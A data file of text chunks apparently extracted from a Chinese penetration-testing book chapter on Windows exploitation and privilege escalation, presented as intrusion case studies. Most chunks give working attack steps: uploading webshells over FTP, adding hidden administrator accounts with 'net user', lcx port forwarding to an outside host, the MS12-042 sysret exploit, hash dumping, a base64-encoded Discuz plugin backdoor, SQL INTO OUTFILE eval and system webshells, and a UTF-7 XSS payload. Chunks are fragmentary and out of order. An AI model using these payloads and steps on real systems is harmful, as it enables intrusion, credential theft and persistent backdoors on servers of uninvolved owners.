    {"text": "图 2-78 下载 MySQL 数据库的 user.MYD 文件 2．查询目标网站所在服务器下的所有域名 通过网站地址 http://www.yougetsignal.com/tools/web-sites-on-web-server/来查询该 IP 地址下的所 有域名，如图 2-79 所示，获取了 33 个网站域名。"},
    {"text": "在 site.mdb 中有 site、sqlseting 和 vhostseting 共 3 个表。 site 表中记录的是站点名称、FTP 用户名、FTP 密码、 站点所在目录等信息，如图 2-80 所示。 在该表中可以直接获取 FTP 用户名和密码、主机所支持的语 言类型（ASP、PHP 和.NET）等信息。"},
    {"text": "图 2-79 获取同网站域名 图 2-80 获取网站管理信息 图 2-81 获取网站 sa 和 root 用户的密码 106 第 2 章 Windows 漏洞利用与提权 4．上传 PHP WebShell 通过 site.mdb 数据库找出支持 PHP 编程语言的虚拟主机站点，通过 FTP 直接连接该站点，输入 从 site 表中获取的网站用户名和相对应的密码，顺利登录该 FTP 服务器。 如图 2-82 所示，执行“put control.php”命令，将本地的 control.php 网页木马上传到网站。"},
    {"text": "图 2-82 通过 FTP 上传 WebShell 图 2-83 测试上传的 WebShell 5．Pr 提权 将 Pr 提权工具上传到网站服务器，在“CmdPath”文本框中输入“C:\\RECYCLER\\pr.exe”，在 “Argument”文本框中输入“\"net user temp temp2005 /add\"”，将 temp 用户添加到系统中，如图 2-84 所示。 然后，在“Argument”文本框中输入“\"net user localgroup administrators temp /add\"”，将 temp 用户添加到管理员组中，如图 2-85 所示，Pr 命令执行成功后会给出一些提示信息。"},
    {"text": "107 网络攻防实战研究：漏洞利用与提权 图 2-84 将 temp 用户添加到系统中 图 2-85 将 temp 用户添加到管理员组中 图 2-86 temp 用户已经为管理员 108 第 2 章 Windows 漏洞利用与提权 6．获取远程终端端口 使用 NMap 对该服务器的所有 TCP 端口进行扫描，如图 2-87 所示，成功获取该服务器的远程终 端端口。 图 2-87 扫描服务器端口 7．登录远程终端 通过远程终端客户端程序 mstsc.exe 直接登录该服务器，输入刚才添加的用户名和密码，顺利登 录，如图 2-88 所示。 图 2-88 登录远程终端 109 网络攻防实战研究：漏洞利用与提权 2.10 以 Public 权限渗透某 ASP.NET 网站 数据库用户权限为 Public 的网站相对较难渗透，设置这种权限说明网站具有较高的安全意识。"},
    {"text": "攻击者能够通过 SQL 注入获取网站数据库的信息，通过这些信息 再次进行渗透和提权就相对会容易一些，尤其是在获得网站后台管理员权限的情况下，可以通过文 件包含、数据库备份、图片上传、文件上传、插入一句话木马等来获取 WebShell。"},
    {"text": "图 2-89 获取 SQL 注入点 2．使用各种 SQL 注入工具进行信息收集和数据猜测 对于 ASP.NET 类型的网站，除了一些大型商业专用渗透工具外，还有一些免费的工具，例如 Pangolin、Havij、Domain、HDSI 及“啊 D”等 SQL 注入工具。"},
    {"text": "技巧 在发现 SQL 注入点后，一般先使用一些自动测试工具进行测试。 在测试时可以依次使用多 个工具进行测试，虽然这些 SQL 注入工具的功能大致相同，但在某些场景下，使用一些工 具能够成功，使用另一些工具就不一定能成功。"},
    {"text": "110 第 2 章 Windows 漏洞利用与提权 图 2-90 使用 Havij 进行 SQL 注入渗透测试 3．使用 Domain 3.5 检测到目标网站存在 SQL 注入点 打开 Domain 3.5 SQL 注入工具，单击“SQL 注入”→“SQL 注入猜解检测”选项，将刚才测试 出错前的正常页面地址复制到“注入点”文本框中，然后单击“开始检测”按钮，如果该注入点能 够进行 SQL 注入，则会在“检测信息”区域显示详细信息。"},
    {"text": "图 2-91 检测 SQL 注入点 4．猜解数据库中的表和表中的数据 这一步是 SQL 注入检测中最重要的一步，如果能够成功，就意味着可以查看和修改数据库中的 数据。"},
    {"text": "通过查看数 据库表名称来判断哪个是保存了管理员用户名和密码的表并选中它，单击“猜解列名”按钮获取表 中的具体列名，然后选择需要查看内容的列名，单击“猜解内容”按钮获取其相应信息。"},
    {"text": "111 网络攻防实战研究：漏洞利用与提权 图 2-92 获取数据内容 5．扫描和获取后台地址 在 Domain 3.5 中单击“管理入口扫描”来获取管理后台入口的具体地址。"},
    {"text": "图 2-93 获取后台登录地址 6．登录测试和验证 直接打开从搜索引擎中获取的后台地址，如果能够正常访问，说明该页面可能是真正的后台地 址。 如图 2-94 所示，该页面能够正常访问，且通过页面信息可以判定该地址就是管理后台地址。 输 入刚才获取的用户名和密码进行测试，登录成功，如图 2-95 所示。 112 第 2 章 Windows 漏洞利用与提权 图 2-94 后台地址测试和验证 图 2-95 后台登录成功 2.10.2 寻找、测试和获取 WebShell 1．获取图片上传页面 当使用 SQL 注入工具或者以手工注入方式获得管理员的用户名和密码成功登录系统后，需要查 看系统信息发布等模块，确认是否存在文件上传部分，如果不存在，则尝试插入一句话木马进行后 台备份等操作。"},
    {"text": "113 网络攻防实战研究：漏洞利用与提权 图 2-96 文件上传模块 图 2-97 文件上传成功 2．查看文件上传的真实地址 虽然页面显示文件上传成功，但还需要找到文件上传的真正地址，核对上传的文件是否更改了 后缀。"},
    {"text": "网站 CMS 系统处理新添加的记录有两种结果，一种是按照最新时间排序，另一种是降序，因此 在翻看记录时需要分析数据添加的规律。 在本例中就是按照时间升序排序，即最早添加的最先显示， 因此需要跳转到页码最大处才能看到刚才添加的记录。"},
    {"text": "114 第 2 章 Windows 漏洞利用与提权 图 2-98 通过前台查看上传的图片 图 2-99 获取图片的真实地址 3．获取 WebShell 在 IE 浏览器中打开上传 WebShell 的真实地址，如图 2-100 所示，输入 WebShell 的密码后，出 现熟悉的 ASP.NET WebShell 界面。 图 2-100 成功获得该网站的 WebShell 115 网络攻防实战研究：漏洞利用与提权 2.10.3 尝试提权 通过 WebShell 可以查看该服务器安装程序和网站文件等，然后利用掌握的信息进行提权。"},
    {"text": "在本 次渗透过程中发现该服务器为内网服务器，通过防火墙映射到外网，对外仅开放了 80 端口，在网络 地址中未配置 DNS，系统中无可提权的其他可用信息。"},
    {"text": "如图 2-101 所示，先将 Pr 程序上传到“回收站”中，然后分别执行命令“E:\\RECYCLER\\pr.exe” 及参数“net user temp temp2005 /add”和“net localgroup administrator temp /add”。"},
    {"text": "图 2-101 使用 Pr 提权 2.10.4 使用 lcx 命令转发并登录远程桌面 1．查看添加的用户 在 WebShell 中通过 CMDShell 查看刚才添加用户的操作是否成功。"},
    {"text": "图 2-102 查看添加的用户 2．使用 lcx 命令进行端口转发 在具有独立 IP 地址的计算机上执行“lcx -listen 51 2008”命令，意思是监听 51 端口，并将 51 端口映射到本机的 2008 端口，如图 2-103 所示。 在 WebShell 中执行“E:\\RECYCLER\\lcx.exe”命令，参数设置为“-slave 202.XXX.XXX.XXX 51 116 第 2 章 Windows 漏洞利用与提权 172.30.11.81 3389”，意思是连接 IP 地址 202.XXX.XXX.XXX 的 51 端口，将服务器内网 IP 地址为 172.30.11.81 的 3389 端口转发到 202.XXX.XXX.XXX 的 51 端口上，如图 2-104 所示。 图 2-103 使用 lcx 进行端口监听 图 2-104 使用 lcx 命令进行端口转发 3．连接远程桌面 在监听 51 端口的计算机中打开远程终端登录界面，然后输入“127.0.0.1:2008”进行登录。"},
    {"text": "通过扫描可以获取网站程序漏洞和 配置漏洞。 在扫描结果中，单独的上传页面、上传组件（各种 WebEditor）、网站压缩文件、 bak 文件的利用是防范的重点。 利用扫描结果进行渗透测试。"},
    {"text": "获取 WebShell。 常用的获取 WebShell 的方法是上传。 通过各类 Web 编辑器的漏洞及某一类 程序的漏洞（当然，这些漏洞的利用需要一些辅助条件）也可以获取 WebShell。 某些网站 在被入侵后，攻击者会将整个网站打包，但下载完毕后未删除打包文件，所以如果能够成功 将其下载，对于分析漏洞和获取 WebShell 很有帮助。"},
    {"text": "对服务器进行提权。 对服务器提权主要是看服务器上安装了哪些程序，然后采取相应的提权 方法，例如读取 VNC 密码，读取 Radmin 密码，下载 pcAnywhere 密码保存文件，利用 Serv-u 直接添加用户，利用系统未安装补丁程序进行本地提权，编写 autorun.inf 病毒，通过 MSSQL SA 权限直接添加系统用户，通过 MySQL udf 函数提权等。"},
    {"text": "2.11 Windows 7/2008 服务器 64 位版本 MS12-042 漏洞提权 本节主要针对 Windows 7/2008 服务器 64 位版本 MS12-042 漏洞提权进行分析。 2.11.1 MS12-042 漏洞简介 MS12-042（Microsoft Windows 用户态调度机制特权提升漏洞），CVE 漏洞编号 CVE-2012-0217， 发布于 2012 年 6 月 12 日。"},
    {"text": "该漏洞对 64 位 Windows Server 2008 及 Windows 7 操 作系统有效，对 x86 无效，详细情况可以参考微软官方网站（http://support.microsoft.com/kb/2711167/ zh-cn），影响系统如下。"},
    {"text": "Windows Server 2008 R2 Windows Server 2008 R2 SP1 Windows 7 Gold Windows 7 SP1 2.11.2 提权工具 MS12-042 提权工具被编译成 sysret.exe，其参数的具体含义如下。 sysret -p：表示把此时的进程提升到 system 权限。 sysret -e：表示把程序提升到 system 权限运行。"},
    {"text": "NC 反弹交互 Shell，直接执行“sysret -e cmd.exe”命令，会在当前终端提权到 system。 118 第 2 章 Windows 漏洞利用与提权 NC 反弹 Shell，找到该交互 Shell 的 PID，在 WebShell 中执行“sysret -p PID”命令。"},
    {"text": "使用“tasklist | find \"cmd.exe\"”命令比对多出来的 cmd.exe。 使用“wmic process get commandline, processid | find \"cmd.exe\"”命令查看独立的 cmd.exe 的 PID。"},
    {"text": "对于服务器信息分析，需要对服务器上面的软件、数据库、 代码及其他可以下载和打开的文件进行分析，寻找一个最有可能提权的方向进行突破。 在本案例中， 服务器是 Windows Server 2008+IIS 7+Oracle 11g，通过 Oracle 提权根本行不通。 Oracle 最新版本没有 可供溢出的漏洞，服务器上也没有其他可供提权的软件，只能从 Windows 操作系统入手。"},
    {"text": "（1）收集系统版本信息 在 WebShell 中使用 ver 参数获取该操作系统的版本信息为“Microsoft Windows [版本 6.1.7601]”， 与 Windows 7/Server 2008 为同一个版本号，如图 2-106 所示。"},
    {"text": "（2）使用 systeminfo 命令获取补丁及操作系统信息 使用 systeminfo 命令获取补丁及操作系统的详细信息，通过操作系统名称及处理器来决定使用 什么类型的提权工具，如图 2-107 所示。"},
    {"text": "119 网络攻防实战研究：漏洞利用与提权 2．实施提权 与其通过 WebShell 执行命令，不如在“中国菜刀”或者反弹 Shell 中执行命令。 在获取以上信 息后，可以将提权工具上传到服务器可写目录下，然后通过“中国菜刀”终端命令进行提权。"},
    {"text": "如图 2-109 所示，在本例中我们上传了 wce64.exe、g64.exe 等程序，可以通过“sysret g64”命令直接获取 操作系统的密码明文或者 Hash 值。 图 2-108 获取当前用户的权限 图 2-109 获取明文密码 在 WebShell 中获取的 Hash 值是“Administrator:WIN-641CTSU8K4B:12C5CB5EC824FC2DF77D 3BFFFF39CD95:D2B62DAAAFF409B6C3B6C2C696AA978D”。"},
    {"text": "图 2-110 破解密码 120 第 2 章 Windows 漏洞利用与提权 图 2-111 远程登录该服务器 2.12 对某虚拟主机的一次 SiteManager 提权 虚拟主机提供商所提供的服务器，安全性相对较高。"},
    {"text": "安全设置较好的服务器，即使某个站点存 在安全漏洞，被攻击者获得 WebShell，也不会影响其他站点，即攻击者无法获取其他站点的资料， 各个站点的安全相对独立，采取的是基于角色的安全控制（用户站点）。 在入侵手法中，对虚拟主机 的入侵，如果针对某个站点无法入侵成功，那么攻击者往往会采用旁注的方法来入侵虚拟主机上的 其他站点，当成功得到其他站点的 WebShell 后，再来获取指定站点的数据库、管理后台等资料，然 后实施深层次的渗透。 对虚拟主机的渗透，一般前半部分较容易实现，后半部分相对较难。 本案例虚拟主机的设置还 是比较安全的，但是就因为一个细节没有设置好，导致整个服务器乃至所管理的服务器群主机失陷。"},
    {"text": "直接将其设置到 CuteFTP 中，上传“神 秘超强冷枫后门”ASP 版本的 WebShell，然后在浏览器中输入 WebShell 的地址，如图 2-112 所示， 输入密码后可正常运行。"},
    {"text": "图 2-112 上传并测试 WebShell 121 网络攻防实战研究：漏洞利用与提权 2.12.2 使用 WebShel 中的提权功能尝试提权 目前的 WebShell 功能很强大。 在该 WebShell 中提供了很多可以提升权限的地方，例如查看提权 目录列表 Program、pcAnywhere、Serv-u、RealServer、SQL、config、data、temp、Recycler 等，如 图 2-113 所示。"},
    {"text": "图 2-113 查看提权目录 在本例中，依次查看 Program、pcAnywhere、Serv-u、RealServer、SQL、config、data、temp、 Recycler 等可能提权的目录，如图 2-114 所示，不是无法访问，就是路径未找到，因此利用这些目录 来提权是行不通的。"},
    {"text": "图 2-114 获取相应文件路径失败 2.12.3 查看可写目录 在 WebShell 的左边功能列表中单击“查看可写目录”选项，如图 2-115 所示，WebShell 会给出 本系统 WebShell 可写的所有目录，单击“详细报告”按钮可以查看详细情况。 122 第 2 章 Windows 漏洞利用与提权 图 2-115 查看系统可写目录 依次查看每个磁盘的可写目录，如图 2-116 所示，对前 3 个磁盘（C 盘、D 盘和 E 盘）都无法 写入。 图 2-116 依次查看可写文件目录 系统的 temp 目录中可能会保留一些有用信息，而该主机的操作系统为 Windows Server 2003，系 统盘下的 Windows\\temp 目录可以读取，因此可以尝试从中获取可利用的信息。"},
    {"text": "在一些系统中，主机 管理系统会将部分运行信息保存在临时回话中，由于程序运行完毕未对临时文件夹进行清理，因此 只要找到这些信息，就可以提升权限。 到 C:\\Windows\\temp 目录下下载并打开该目录下的每一个文 件，如图 2-117 所示，通过查看该目录中的 sess_*文件，发现以“sess”开头的文件是该系统所提供 虚拟主机的多个站点的临时会话，虽然有些会话中包含了用户账号等信息，但对本次提权意义不大。"},
    {"text": "setup 目 录一般是管理员进行程序安装及设置时所用的目录，在 setup 文件夹下有多个文件夹，对各个文件夹 依次进行查看。 说明 对整个磁盘进行可读写目录的查看，发现仅 setup 目录可读写，这极有可能是管理员在安装和设 置程序后没有及时删除或者做安全限制造成的。"},
    {"text": "123 网络攻防实战研究：漏洞利用与提权 图 2-117 打开并查看 temp 目录中的文件 图 2-118 获取 G 盘唯一可读写目录 图 2-119 查看 vbs 文件 2.12.4 渗透成功 1．找到明文管理员密码 在 G:\\Setup\\vbs 下的一个 txt 文件中找到了一个关键的地方——SiteManager。 如图 2-120 所示， 使用 SiteManager 必须要有具备系统管理员权限的用户名和密码，它们在相关配置文件中会以明文形 124 第 2 章 Windows 漏洞利用与提权 式存在。 图 2-120 找到 SiteManager 所用的管理员账号和密码 2．查看远程终端端口 在 WebShell 中单击“特殊端口”选项，查看系统特殊端口的开放情况。"},
    {"text": "如图 2-121 所示，该服 务器远程终端 3389 端口是开放的，由于该 WebShell 无法执行“netstat -an”等 DOS 命令，所以认为 该计算机的 3389 端口是打开的。 图 2-121 获取端口开放情况 说明 使用 WebShell 读取注册表的数据不一定准确，在本例中就是这样，WebShell 获取的端口是 3389， 而实际终端端口是 6688。"},
    {"text": "125 网络攻防实战研究：漏洞利用与提权 图 2-122 进入系统 2.12.5 继续渗透内外网 1．获取系统口令 使用 3389 远程终端登录系统，将无法使用 GetPw 及 PwDump 等工具获取系统的密码，上传的 NC 不知道为什么，一传上去就不见了，上传了好多次都是如此。"},
    {"text": "实在没有办法，笔者直接到 Radmin 网站下载了 Radmin 2.2 上传到服务器，在服务器上安装 Radmin 客户端，通过其 telnet 来执行“getpw $local”命令，以获取其系统 Hash 值。"},
    {"text": "2．探测相同网段具有该端口的远程终端 IP 地址 使用“sfind –p 6688 60.*.*.1 60.*.*.255”命令查看与被渗透主机有相同网段的开放 6688 端口的 IP 地址，如图 2-124 所示，找出了 4 个 IP 地址。 126 第 2 章 Windows 漏洞利用与提权 图 2-124 使用 sfind 命令探测开放 6688 端口的其他同网段 IP 地址 3．使用获取的用户账号和密码登录 使用原来获取的用户账号和密码尝试登录，成功进入系统，如图 2-125 所示，该服务器有 2 个 IP 地址。"},
    {"text": "图 2-125 成功进入新的服务器 4．启用内外网卡 在查看“网络邻居”的属性时，发现计算机有多块网卡，其中有一块网卡被禁用了。 启动内网 网卡后，远程终端连接失败，内网与外网断开了。"},
    {"text": "2.13 社工渗透并提权某服务器 笔者的一个朋友在访问自己公司的网站时找出了很多奇怪的文件，杀毒软件提示网页存在病毒， 笔者的第一感觉就是服务器被入侵了。 2.13.1 网站挂马的检测和清除 1．使用软件嗅探被挂马页面 在虚拟机中使用 URLSnooper 软件对网站进行嗅探，果然发现网站的多个文件被挂马，如图 2-126 127 网络攻防实战研究：漏洞利用与提权 所示。"},
    {"text": "图 2-126 使用 URLSnooper 监听网站的所有链接和访问 说明 URLSnooper 是一款安全检查工具，根据名称就知道该软件的作用是进行 URL 监视，笔者 认为它是一款捕捉网站是否挂马的好程序。"},
    {"text": "直接到网站根目录查看网站文件的最近修改时间，首页的更改时间为 8 月 25 日，因此可以借助 系统的文件搜索功能搜索 8 月 24 日至 8 月 26 日之间的文件。"},
    {"text": "被修改的文件很有特点，index.html、index.asp、conn.asp、top.asp、foot.asp 及 js 文件均被修改，从 文件中可以看出，该攻击者绝对是一个团伙或者一个老手，他不是对所有文件进行挂马，而是有针 对性地对关键文件进行挂马。 图 2-127 查找被修改的网站文件 128 第 2 章 Windows 漏洞利用与提权 2．清除挂马代码 在所有文件中查找代码“<script src=http://%61%76%65%31%2E%63%6E></script>”并将其清除。 2.13.2 入侵痕迹的搜索和整理 对系统目录及服务器的所有目录进行查看，发现该攻击者使用过“1433 全自动扫描传马工具”。"},
    {"text": "直接使用 CuteFTP 软件进行 FTP 登录尝试，填好 IP 地址、 账号和密码，顺利登录，如图 2-128 所示。 从服务器中的文件不难看出，这台机器的 FTP 路径是 Windows 系统某个磁盘的根目录，里面有不少黑客工具，机主肯定是一个攻击者或者安全爱好者。 说明 很多攻击者在利用网上下载的工具时，没有很好地设置和改造，只是进行简单的配置后便开始 攻击，因此，在肉机上经常会留下各种木马的安装文件，有时甚至有 FTP 自动上传文件的配置文件。"},
    {"text": "图 2-128 成功登录 FTP 服务器 图 2-129 查看远程服务器开放端口 2.13.3 利用社会工程学进行反渗透 1．使用获取的 FTP 账号猜测服务器登录口令 既然服务器开放了 3389 端口、FTP 服务，那么可以尝试利用 FTP 的账号和口令登录它的 3389 远程桌面，猜测 administrator 的口令。"},
    {"text": "129 网络攻防实战研究：漏洞利用与提权 2．从网站入手 使用 IE 浏览器打开该 IP 地址，可以正常访问网站。 该服务器提供了 Web 服务，网站为游戏私 服服务器，如图 2-130 所示，通过 HDSI 及 Domain 3.5 等 SQL 注入工具对网站进行探测，未找到可 以利用的地方。 图 2-130 服务器提供 Web 服务 3．从 FTP 目录入手 在 FTP 的目录中有一个 Web 子目录，会不会与网站有关系呢？ 先上传一个 ASP 木马到 Web 目 录试试——这个目录居然正是网站的根目录，ASP 木马可以正常运行。 如图 2-131 所示，通过 ASP 木马在网站中看了看，发现可以浏览所有磁盘，不过只有 D 盘有写权限。 与 FTP 中的文件进行对比， 发现 FTP 的根目录就是 D 盘。 图 2-131 上传 ASP 木马 130 第 2 章 Windows 漏洞利用与提权 现在，既可以上传文件，也可以浏览文件了。"},
    {"text": "4．上传 ASP.NET 木马提升系统权限 在用 3389 登录这台机器时，它的操作系统是 Windows Server 2003，可能支持 ASP.NET。 上传 一个 ASPX 的 CMD 木马，ASPX 木马能执行命令了，如图 2-132 所示。 查看机器的用户列表，居然 没有 administrator，却有一个 xuanyu，而 FTP 的口令是“lixuanyu”，一定是管理员把超级用户改名 了。"},
    {"text": "图 2-132 使用 ASP.NET 木马查看系统管理员账号 5．获取数据库用户管理员密码 按照密码设置习惯，攻击者极有可能使用了相同的密码，因此可以尝试获取数据库中用户的密 码来登录远程终端服务器。"},
    {"text": "使用 FTP 下载这个文件，把文件的后缀改为“mdb”，使 用 Access 直接打开该数据库，如图 2-133 所示，从中找到管理员使用的表 Gq_Admin。 从表 Gq_Admin 中发现存在 gusdn 用户，并且是高级管理员，密码使用 MD5 加密后是 “5334e6dd7b8exxxx”。 打开网页 www.cmd5.com，填好 16 位密码，解密后密码为“12703XXX”，如 图 2-134 所示。 图 2-133 获取管理员表 Gq_Admin 图 2-134 获取用户的密码 131 网络攻防实战研究：漏洞利用与提权 6．再次登录远程终端 直接打开远程终端连接器，在其中输入用户名“xuanyu”，密码“12703XXX”，然后单击“连接” 按钮，很快就成功进入该计算机，如图 2-135 所示。 图 2-135 成功进入攻击者计算机服务器 2.14 通过 SQL 注入漏洞渗透某服务器并直接提权 服务器的提权是有前提基础的，有的可以直接获取 root 或者 administrator 权限，但很多情况下 需要接入的基础，例如 telnet、远程终端、VPN 接入、Radmin 等远程控制接入、反弹 Shell 及 WebShell 等。 本案例通过 SQL 注入获取 WebShell，使用一些工具软件直接获取 Windows 的账号和密码。"},
    {"text": "图 2-136 获取管理员密码 2．查看其他管理员用户 如果管理员采用了安全提问，虽然有破解程序可以破解，但破解的成功率与字典有关，这时可 以通过“统计”或者查看论坛公告等方法寻找拥有管理员权限的用户。 如图 2-137 所示，使用破解 的 admin 账户密码成功登录系统，单击“用户管理”选项卡搜索“管理员”，就可以看到该系统中还 存在很多具有管理员权限的用户。 132 第 2 章 Windows 漏洞利用与提权 图 2-137 获取其他管理员用户 3．获取 WebShell 在获取 Discuz！ 6.0.0 创始管理员权限的情况下，有 4 种方法可以获取 WebShell，最简单易行的 就是插件导入和修改模板，其利用方法如下。"},
    {"text": "YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIx IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldFNo ZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjI2OiJhJ109ZXZhbCgkX1BPU1Rb Y21kXSk7JGFbJyI7czoxMToiZGVzY3JpcHRpb24iO3M6MDoiIjtzOjEwOiJk YXRhdGFibGVzIjtzOjA6IiI7czo5OiJkaXJlY3RvcnkiO3M6MDoiIjtzOjk6 ImNvcHlyaWdodCI7czowOiIiO3M6NzoibW9kdWxlcyI7czowOiIiO31zOjc6 InZlcnNpb24iO3M6NToiNi4wLjAiO30= 一句话后门连接的地址为 http://bbs.vpser.net/forumdata/cache/plugin_a']=eval($_POST[cmd])；"},
    {"text": "（2）编辑风格模板 在 customfaq.lang.php 文件中加入一句话后门“eval($_POST[cmd])； ”，一句话后门连接的地址为 http://bbs.vpser.net/templates/default/customfaq.lang.php。"},
    {"text": "图 2-138 获取 WebShell 133 网络攻防实战研究：漏洞利用与提权 2.14.2 尝试提权获取管理员权限 1．使用“中国菜刀”的终端连接功能测试能否执行命令 在“中国菜刀”一句话后门管理端中选择刚才获取的 WebShell 记录，然后选择终端连接，进入 命令提示符窗口，执行一些简单的 cmd 命令测试能否执行命令。"},
    {"text": "3．查看 3389 端口是否开放 使用“netstat –an | find \"3389\"”命令查看服务器上是否开放了 3389 端口，如图 2-140 所示。 如 果默认 3389 端口没有开放（管理员修改到其他端口），则可以使用如下命令来获取端口。 Echo Dim ReadComputerName >>port.vbs Echo Set ReadComputerName=WScript.CreateObject(\"WScript.Shell\") >>port.vbs Echo Dim TSName,TSRegPath >>port.vbs Echo TSRegPath=\"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\PortNumber\" >>port.vbs Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs Echo WScript.Echo(\"TermService port is:\"^&TSName) >>port.vbs Cscript port.vbs 图 2-139 获取管理员密码和权限 图 2-140 获取 3389 端口开放情况 4．查看内网情况 分别使用“ipconfig”和“net view”命令查看服务器是否有内网。 如图 2-141 所示，获取服务器 IP 地址为 10.202.17.109，明显是内网 IP 地址，果然在同网段还有其他服务器。"},
    {"text": "134 第 2 章 Windows 漏洞利用与提权 5．尝试内网渗透并查看权限 使用 sfind.exe 程序对内网端口进行扫描，然后执行“net use”命令来尝试登录内网服务器。"},
    {"text": "在 DOS 命令提示符下，可以使用“net use \\\\10.202.17.24\\admin$ \"Zjugh***\" /user:Administrator”命令来 测试内网服务器是否使用了能够获取服务器权限的口令，如果能执行成功，则可以获取该服务器的 权限。"},
    {"text": "图 2-141 获取内网服务器信息 图 2-142 获取系统权限 2.15 phpinfo 函数信息泄露漏洞的利用与提权 phpinfo 函数信息泄露漏洞常出现在一些默认的安装包中，例如 phpstudy 等，其产生原因是默 认安装完成后没有及时删除这些用于环境测试的文件，常见的有 phpinfo.php、1.php 和 test.php。 虽然攻击者只能通过 phpinfo 函数获取 PHP 环境及变量等信息，但这些信息配合其他漏洞有可能 导致系统被渗透和提权。 2.15.1 phpinfo 函数简介 在 PHP 中提供了 phpinfo 函数。 该函数返回 PHP 的所有信息，包括 PHP 的编译选项及扩充配 置、PHP 版本、服务器信息及环境变量、PHP 环境变量、操作系统版本信息、路径及环境变量配置、 HTTP 标头、版权宣告等。"},
    {"text": "2.15.2 phpinfo 函数信息泄露漏洞 由于该函数主要用于网站建设过程中测试搭建的 PHP 环境是否正确，很多网站在测试完成后并 没有及时将其删除，因此当这些测试页面被访问时，会输出服务器的关键信息，这些信息的泄露将 提高服务器被渗透的风险。 135 网络攻防实战研究：漏洞利用与提权 2.15.3 通过 phpinfo 函数信息泄露漏洞渗透获取 WebShell 权限 1．分析 phpinfo 函数暴露出来的有用信息 从网站 phpinfo.php 程序运行的结果中我们可以获取以下有用的信息。"},
    {"text": "图 2-143 获取有用信息 2．查看泄露的文件 对根目录进行访问，如图 2-144 所示，发现 mail.rar 及 3 个文件目录，其中有一个 phpMyAdmin， 这是 MySQL 的 PHP 管理目录。"},
    {"text": "有了这个目录的权限，只要获取数据库密码，即可导入/导出数据， 包括导出一句话后门，对其中的压缩文件进行下载，并查看数据库配置文件。 3．获取数据库口令 在 mail 文件夹下，发现数据库连接文件为 connect.php，打开后获取数据库的用户和密码，数据 库用户为 root，密码为空，如图 2-145 所示。 图 2-144 查看泄露的其他文件 图 2-145 获取数据库用户账号和密码 4．连接并查看数据库 如图 2-146 所示，在浏览器中打开 http://183.***.160.***:5555/phpMyAdmin/，输入刚才获取的账 号，直接登录，即可查看其中的所有数据库。 136 第 2 章 Windows 漏洞利用与提权 图 2-146 登录并查看数据库 5．导出一句话后门到服务器 目前导出一句话后门的方法有以下几种。"},
    {"text": "Microsoft Word - a扉页.doc @eval($_POST[pass]);?>'); SELECT `darkmoon1` FROM `darkmoonÌNTO OUTFILE 'd:/www/exehack.php'; DROP TABLE IF EXISTS `darkmoon`; 上面的代码是在 MySQL 数据库中创建 darkmoon 表，在表中加入一个名为“darkmoon1”的字 段，并在该字段中插入一句话木马代码，然后从 darkmoon1 字段里导出一句话木马到网站的真实路 径“d:/www/exehack.php”下，最后删除 darkmoon 表，执行效果如图 2-147 所示。 图 2-147 导出一句话 SQL 脚本程序 注意 在使用以上代码时必须选择 MySQL 数据库，并在 phpMyAdmin 中选择 SQL，需要修改的地方 是网站的真实路径和文件名称“d:/www/exehack.php”。"},
    {"text": "（2）直接导出一句话后门文件 select '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/www/p.php' 如果显示结果类似“您的 SQL 语句已成功运行（查询花费 0.0006 秒）”，表明后门文件生成成功。"},
    {"text": "（3）直接执行具有命令权限的 WebShell select '<?php echo \\'<pre>\\';system($_GET[\\'cmd\\']); echo \\'</pre>\\'; ?>' INTO OUTFILE 'd:/www/cmd.php' 137 网络攻防实战研究：漏洞利用与提权 使用该方法导出成功后，可以直接执行 DOS 命令，使用方法为“www.xxx.com/cmd.php?cmd=” （在“cmd=”后面直接执行 DOS 命令），如图 2-148 所示。 图 2-148 导入可以执行命令的 WebShell 6．获取 WebShell 用导出的 WebShell 进行访问测试，如图 2-149 所示，如果没有显示错误，则表示可以运行。 在 “中国菜刀”一句话后门管理中添加该地址，直接获取 WebShell，如图 2-150 所示。 图 2-149 测试导出的 WebShell 图 2-150 获取 WebShell 2.15.4 服务器提权 1．对服务器进行提权 直接在“中国菜刀”中执行远程终端命令，如图 2-151 所示，可以查看是否开启了 3389 端口。"},
    {"text": "图 2-151 执行命令 138 第 2 章 Windows 漏洞利用与提权 图 2-152 获取系统管理员密码 2．登录 3389 端口 在本地打开 mstsc.exe，直接输入用户名和密码登录，如图 2-153 所示，成功登录该服务器。"},
    {"text": "图 2-153 成功登录服务器 2.15.5 总结与思考 一个小小的配置失误，再加上一些偶然的因素，就会导致一个系统被渗透并泄露服务器权限， 因此，phpinfo.php 信息泄露不可忽视。 通过 phpinfo 信息泄露还可以进行跨站攻击，将以下代码保存 为 1.html。 <html> <head> <META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </head> <body> <iframe src=\"http:// 域 名 /phpinfo.php? ADw-SCRIPT AD4-alert(document.domain); ADw-/SCRIPT AD4-=1\"> 防范方法如下。 修改服务器环境内的 php.ini 文件，将“expose_php=On”改成“expose_php=Off”，然后重 启 PHP。"},
    {"text": "phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc _open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,sysl og,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen 139 网络攻防实战研究：漏洞利用与提权 2.16 通过简单的漏洞渗透某公司内外部网络 在渗透过程中，一些简单漏洞的发现和利用往往会起到意想不到的效果，本次渗透就是这种情 况。"},
    {"text": "开始仅发现有目录信息泄露，随着渗透的深入，慢慢地渗透了整个内网及域控。 从一个普通的 漏洞开始，从 WebShell 权限，到服务器权限，再到内网权限，很有代表意义，值得网站管理人员重视。"},
    {"text": "2.16.1 测试页面漏洞的检测 测试页面泄露在外网漏洞中主要是指站点在整个产品开发、测试、部署及交付使用过程中的测 试信息出现在公网上。 这些信息一旦出现在公网上，就会被认为存在“漏洞”或者被黑客入侵了， 常见的文件有 phpinfo.php、test.php、test.asp、test.aspx、test.cgi、test.jsp、test.html、test.htm、.svn/entries、 info.php、info.asp、info.aspx、info.jsp 等。"},
